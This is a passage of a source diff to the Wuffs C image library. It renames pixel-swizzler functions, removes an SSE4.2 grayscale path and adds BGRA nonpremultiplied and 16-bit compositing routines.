wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -- ((size_t)s[3] * 4)); -- if (s3) { -- wuffs_base__poke_u32le__no_bounds_check(d + (3 * 4), s3); -- } -- -- s += loop_unroll_count * 1; -- d += loop_unroll_count * 4; -- n -= loop_unroll_count; -- } -- - while (n >= 1) { -- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -- ((size_t)s[0] * 4)); -- if (s0) { -- wuffs_base__poke_u32le__no_bounds_check(d + (0 * 4), s0); -- } -+ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -+ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_private_impl__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); - -- s += 1 * 1; -+ s += 1 * 4; - d += 1 * 4; - n -= 1; - } -@@ -23388,75 +24500,88 @@ wuffs_base__pixel_swizzler__xxxx__index_binary_alpha__src_over( - return len; - } - --// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") - static uint64_t // --wuffs_base__pixel_swizzler__xxxx__y__x86_sse42(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -+wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul_4x16le__src( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { - size_t dst_len4 = dst_len / 4; -- size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; -+ size_t src_len8 = src_len / 8; -+ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; -+ - size_t n = len; -+ while (n >= 1) { -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), wuffs_base__color_u64__as__color_u32( -+ wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)))); - -- __m128i shuffle = _mm_set_epi8(+0x03, +0x03, +0x03, +0x03, // -- +0x02, +0x02, +0x02, +0x02, // -- +0x01, +0x01, +0x01, +0x01, // -- +0x00, +0x00, +0x00, +0x00); -- __m128i or_ff = _mm_set_epi8(-0x01, +0x00, +0x00, +0x00, // -- -0x01, +0x00, +0x00, +0x00, // -- -0x01, +0x00, +0x00, +0x00, // -- -0x01, +0x00, +0x00, +0x00); -- -- while (n >= 4) { -- __m128i x; -- x = _mm_cvtsi32_si128((int)(wuffs_base__peek_u32le__no_bounds_check(s))); -- x = _mm_shuffle_epi8(x, shuffle); -- x = _mm_or_si128(x, or_ff); -- _mm_storeu_si128((__m128i*)(void*)d, x); -- -- s += 4 * 1; -- d += 4 * 4; -- n -= 4; -+ s += 1 * 8; -+ d += 1 * 4; -+ n -= 1; - } -+ return len; -+} -+ -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul_4x16le__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len8 = src_len / 8; -+ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - - while (n >= 1) { -+ uint64_t d0 = wuffs_base__color_u32__as__color_u64( -+ wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); -+ uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); - wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), 0xFF000000 | (0x010101 * (uint32_t)s[0])); -+ d + (0 * 4), -+ wuffs_base__color_u64__as__color_u32( -+ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, -+ s0))); - -- s += 1 * 1; -+ s += 1 * 8; - d += 1 * 4; - n -= 1; - } - - return len; - } --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 - - static uint64_t // --wuffs_base__pixel_swizzler__xxxx__y(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -+wuffs_private_impl__swizzle_bgra_nonpremul__bgra_premul__src( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { - size_t dst_len4 = dst_len / 4; -- size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - - while (n >= 1) { -+ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); - wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), 0xFF000000 | (0x010101 * (uint32_t)s[0])); -+ d + (0 * 4), -+ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul(s0)); - -- s += 1 * 1; -+ s += 1 * 4; - d += 1 * 4; - n -= 1; - } -@@ -23465,24 +24590,28 @@ wuffs_base__pixel_swizzler__xxxx__y(uint8_t* dst_ptr, - } - - static uint64_t // --wuffs_base__pixel_swizzler__xxxx__y_16be(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -+wuffs_private_impl__swizzle_bgra_nonpremul__bgra_premul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { - size_t dst_len4 = dst_len / 4; -- size_t src_len2 = src_len / 2; -- size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - - while (n >= 1) { -+ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -+ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); - wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), 0xFF000000 | (0x010101 * (uint32_t)s[0])); -+ d + (0 * 4), -+ wuffs_private_impl__composite_nonpremul_premul_u32_axxx(d0, s0)); - -- s += 1 * 2; -+ s += 1 * 4; - d += 1 * 4; - n -= 1; - } -@@ -23490,33 +24619,36 @@ wuffs_base__pixel_swizzler__xxxx__y_16be(uint8_t* dst_ptr, - return len; - } - --// -------- -- - static uint64_t // --wuffs_base__pixel_swizzler__xxxxxxxx__index__src(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -+wuffs_private_impl__swizzle_bgra_nonpremul__index_bgra_nonpremul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { - if (dst_palette_len != - WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { - return 0; - } -- size_t dst_len8 = dst_len / 8; -- size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; -+ size_t dst_len4 = dst_len / 4; -+ size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - -+ // TODO: unroll. -+ - while (n >= 1) { -- wuffs_base__poke_u64le__no_bounds_check( -- d + (0 * 8), wuffs_base__color_u32__as__color_u64( -- wuffs_base__peek_u32le__no_bounds_check( -- dst_palette_ptr + ((size_t)s[0] * 4)))); -+ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -+ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -+ ((size_t)s[0] * 4)); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_private_impl__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); - - s += 1 * 1; -- d += 1 * 8; -+ d += 1 * 4; - n -= 1; - } - -@@ -23524,33 +24656,30 @@ wuffs_base__pixel_swizzler__xxxxxxxx__index__src(uint8_t* dst_ptr, - } - - static uint64_t // --wuffs_base__pixel_swizzler__xxxxxxxx__index_binary_alpha__src_over( -+wuffs_private_impl__swizzle_bgra_nonpremul__rgba_nonpremul__src_over( - uint8_t* dst_ptr, - size_t dst_len, - uint8_t* dst_palette_ptr, - size_t dst_palette_len, - const uint8_t* src_ptr, - size_t src_len) { -- if (dst_palette_len != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return 0; -- } -- size_t dst_len8 = dst_len / 8; -- size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - - while (n >= 1) { -- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -- ((size_t)s[0] * 4)); -- if (s0) { -- wuffs_base__poke_u64le__no_bounds_check( -- d + (0 * 8), wuffs_base__color_u32__as__color_u64(s0)); -- } -+ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -+ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( -+ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_private_impl__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); - -- s += 1 * 1; -- d += 1 * 8; -+ s += 1 * 4; -+ d += 1 * 4; - n -= 1; - } - -@@ -23558,24 +24687,29 @@ wuffs_base__pixel_swizzler__xxxxxxxx__index_binary_alpha__src_over( - } - - static uint64_t // --wuffs_base__pixel_swizzler__xxxxxxxx__y(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len8 = dst_len / 8; -- size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; -+wuffs_private_impl__swizzle_bgra_nonpremul__rgba_premul__src( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - - while (n >= 1) { -- wuffs_base__poke_u64le__no_bounds_check( -- d + (0 * 8), 0xFFFF000000000000 | (0x010101010101 * (uint64_t)s[0])); -+ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( -+ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul(s0)); - -- s += 1 * 1; -- d += 1 * 8; -+ s += 1 * 4; -+ d += 1 * 4; - n -= 1; - } - -@@ -23583,53 +24717,59 @@ wuffs_base__pixel_swizzler__xxxxxxxx__y(uint8_t* dst_ptr, - } - - static uint64_t // --wuffs_base__pixel_swizzler__xxxxxxxx__y_16be(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len8 = dst_len / 8; -- size_t src_len2 = src_len / 2; -- size_t len = (dst_len8 < src_len2) ? dst_len8 : src_len2; -+wuffs_private_impl__swizzle_bgra_nonpremul__rgba_premul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - - while (n >= 1) { -- uint64_t s0 = -- ((uint64_t)(wuffs_base__peek_u16be__no_bounds_check(s + (0 * 2)))); -- wuffs_base__poke_u64le__no_bounds_check( -- d + (0 * 8), 0xFFFF000000000000 | (0x000100010001 * s0)); -+ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -+ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( -+ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_private_impl__composite_nonpremul_premul_u32_axxx(d0, s0)); - -- s += 1 * 2; -- d += 1 * 8; -+ s += 1 * 4; -+ d += 1 * 4; - n -= 1; - } - - return len; - } - --// -------- -- - static uint64_t // --wuffs_base__pixel_swizzler__y__y_16be(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -+wuffs_private_impl__swizzle_bgra_nonpremul__ya_nonpremul__src( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; - size_t src_len2 = src_len / 2; -- size_t len = (dst_len < src_len2) ? dst_len : src_len2; -+ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - -+ // TODO: unroll. -+ - while (n >= 1) { -- d[0] = s[0]; -+ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); -+ wuffs_base__poke_u32le__no_bounds_check(d + (0 * 4), s0); - - s += 1 * 2; -- d += 1 * 1; -+ d += 1 * 4; - n -= 1; - } - -@@ -23637,27 +24777,31 @@ wuffs_base__pixel_swizzler__y__y_16be(uint8_t* dst_ptr, - } - - static uint64_t // --wuffs_base__pixel_swizzler__y_16le__y_16be(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len2 = dst_len / 2; -+wuffs_private_impl__swizzle_bgra_nonpremul__ya_nonpremul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; - size_t src_len2 = src_len / 2; -- size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; -+ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - -+ // TODO: unroll. -+ - while (n >= 1) { -- uint8_t s0 = s[0]; -- uint8_t s1 = s[1]; -- d[0] = s1; -- d[1] = s0; -+ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -+ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_private_impl__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); - - s += 1 * 2; -- d += 1 * 2; -+ d += 1 * 4; - n -= 1; - } - -@@ -23667,6862 +24811,6000 @@ wuffs_base__pixel_swizzler__y_16le__y_16be(uint8_t* dst_ptr, - // -------- - - static uint64_t // --wuffs_base__pixel_swizzler__transparent_black_src( -+wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_nonpremul__src( - uint8_t* dst_ptr, - size_t dst_len, - uint8_t* dst_palette_ptr, - size_t dst_palette_len, -- uint64_t num_pixels, -- uint32_t dst_pixfmt_bytes_per_pixel) { -- uint64_t n = ((uint64_t)dst_len) / dst_pixfmt_bytes_per_pixel; -- if (n > num_pixels) { -- n = num_pixels; -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len8 = dst_len / 8; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ -+ size_t n = len; -+ while (n >= 1) { -+ uint8_t s0 = s[0]; -+ uint8_t s1 = s[1]; -+ uint8_t s2 = s[2]; -+ uint8_t s3 = s[3]; -+ d[0] = s0; -+ d[1] = s0; -+ d[2] = s1; -+ d[3] = s1; -+ d[4] = s2; -+ d[5] = s2; -+ d[6] = s3; -+ d[7] = s3; -+ -+ s += 1 * 4; -+ d += 1 * 8; -+ n -= 1; - } -- memset(dst_ptr, 0, ((size_t)(n * dst_pixfmt_bytes_per_pixel))); -- return n; -+ return len; - } - - static uint64_t // --wuffs_base__pixel_swizzler__transparent_black_src_over( -+wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_nonpremul__src_over( - uint8_t* dst_ptr, - size_t dst_len, - uint8_t* dst_palette_ptr, - size_t dst_palette_len, -- uint64_t num_pixels, -- uint32_t dst_pixfmt_bytes_per_pixel) { -- uint64_t n = ((uint64_t)dst_len) / dst_pixfmt_bytes_per_pixel; -- if (n > num_pixels) { -- n = num_pixels; -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len8 = dst_len / 8; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ -+ size_t n = len; -+ while (n >= 1) { -+ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); -+ uint64_t s0 = wuffs_base__color_u32__as__color_u64( -+ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -+ wuffs_base__poke_u64le__no_bounds_check( -+ d + (0 * 8), -+ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); -+ -+ s += 1 * 4; -+ d += 1 * 8; -+ n -= 1; - } -- return n; -+ return len; - } - --// -------- -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_nonpremul_4x16le__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len8 = dst_len / 8; -+ size_t src_len8 = src_len / 8; -+ size_t len = (dst_len8 < src_len8) ? dst_len8 : src_len8; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; - --static wuffs_base__pixel_swizzler__func // --wuffs_base__pixel_swizzler__prepare__y(wuffs_base__pixel_swizzler* p, -- wuffs_base__pixel_format dst_pixfmt, -- wuffs_base__slice_u8 dst_palette, -- wuffs_base__slice_u8 src_palette, -- wuffs_base__pixel_blend blend) { -- switch (dst_pixfmt.repr) { -- case WUFFS_BASE__PIXEL_FORMAT__Y: -- return wuffs_base__pixel_swizzler__copy_1_1; -+ size_t n = len; -+ while (n >= 1) { -+ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); -+ uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); -+ wuffs_base__poke_u64le__no_bounds_check( -+ d + (0 * 8), -+ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); - -- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -- return wuffs_base__pixel_swizzler__bgr_565__y; -+ s += 1 * 8; -+ d += 1 * 8; -+ n -= 1; -+ } -+ return len; -+} - -- case WUFFS_BASE__PIXEL_FORMAT__BGR: -- case WUFFS_BASE__PIXEL_FORMAT__RGB: -- return wuffs_base__pixel_swizzler__xxx__y; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_premul__src( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len8 = dst_len / 8; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -- case WUFFS_BASE__PIXEL_FORMAT__BGRX: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -- case WUFFS_BASE__PIXEL_FORMAT__RGBX: --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -- if (wuffs_base__cpu_arch__have_x86_sse42()) { -- return wuffs_base__pixel_swizzler__xxxx__y__x86_sse42; -- } --#endif -- return wuffs_base__pixel_swizzler__xxxx__y; -+ size_t n = len; -+ while (n >= 1) { -+ uint64_t s0 = wuffs_base__color_u32__as__color_u64( -+ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( -+ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); -+ wuffs_base__poke_u64le__no_bounds_check(d + (0 * 8), s0); - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL_4X16LE: -- return wuffs_base__pixel_swizzler__xxxxxxxx__y; -+ s += 1 * 4; -+ d += 1 * 8; -+ n -= 1; - } -- return NULL; -+ return len; - } - --static wuffs_base__pixel_swizzler__func // --wuffs_base__pixel_swizzler__prepare__y_16be(wuffs_base__pixel_swizzler* p, -- wuffs_base__pixel_format dst_pixfmt, -- wuffs_base__slice_u8 dst_palette, -- wuffs_base__slice_u8 src_palette, -- wuffs_base__pixel_blend blend) { -- switch (dst_pixfmt.repr) { -- case WUFFS_BASE__PIXEL_FORMAT__Y: -- return wuffs_base__pixel_swizzler__y__y_16be; -- -- case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: -- return wuffs_base__pixel_swizzler__y_16le__y_16be; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_premul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len8 = dst_len / 8; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; - -- case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: -- return wuffs_base__pixel_swizzler__copy_2_2; -+ size_t n = len; -+ while (n >= 1) { -+ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); -+ uint64_t s0 = wuffs_base__color_u32__as__color_u64( -+ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -+ wuffs_base__poke_u64le__no_bounds_check( -+ d + (0 * 8), -+ wuffs_private_impl__composite_nonpremul_premul_u64_axxx(d0, s0)); - -- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -- return wuffs_base__pixel_swizzler__bgr_565__y_16be; -+ s += 1 * 4; -+ d += 1 * 8; -+ n -= 1; -+ } -+ return len; -+} - -- case WUFFS_BASE__PIXEL_FORMAT__BGR: -- case WUFFS_BASE__PIXEL_FORMAT__RGB: -- return wuffs_base__pixel_swizzler__xxx__y_16be; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__index_bgra_nonpremul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ if (dst_palette_len != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return 0; -+ } -+ size_t dst_len8 = dst_len / 8; -+ size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -- case WUFFS_BASE__PIXEL_FORMAT__BGRX: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -- case WUFFS_BASE__PIXEL_FORMAT__RGBX: -- return wuffs_base__pixel_swizzler__xxxx__y_16be; -+ while (n >= 1) { -+ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); -+ uint64_t s0 = wuffs_base__color_u32__as__color_u64( -+ wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -+ ((size_t)s[0] * 4))); -+ wuffs_base__poke_u64le__no_bounds_check( -+ d + (0 * 8), -+ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL_4X16LE: -- return wuffs_base__pixel_swizzler__xxxxxxxx__y_16be; -+ s += 1 * 1; -+ d += 1 * 8; -+ n -= 1; - } -- return NULL; --} - --static wuffs_base__pixel_swizzler__func // --wuffs_base__pixel_swizzler__prepare__indexed__bgra_nonpremul( -- wuffs_base__pixel_swizzler* p, -- wuffs_base__pixel_format dst_pixfmt, -- wuffs_base__slice_u8 dst_palette, -- wuffs_base__slice_u8 src_palette, -- wuffs_base__pixel_blend blend) { -- switch (dst_pixfmt.repr) { -- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: -- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return NULL; -- } -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__copy_1_1; -- } -- return NULL; -+ return len; -+} - -- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- if (wuffs_base__pixel_swizzler__squash_align4_bgr_565_8888( -- dst_palette.ptr, dst_palette.len, src_palette.ptr, -- src_palette.len, true) != -- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -- return NULL; -- } -- return wuffs_base__pixel_swizzler__bgr_565__index__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return NULL; -- } -- return wuffs_base__pixel_swizzler__bgr_565__index_bgra_nonpremul__src_over; -- } -- return NULL; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_nonpremul__src( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len8 = dst_len / 8; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; - -- case WUFFS_BASE__PIXEL_FORMAT__BGR: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- if (wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src( -- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, -- src_palette.len) != -- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -- return NULL; -- } -- return wuffs_base__pixel_swizzler__xxx__index__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != -- 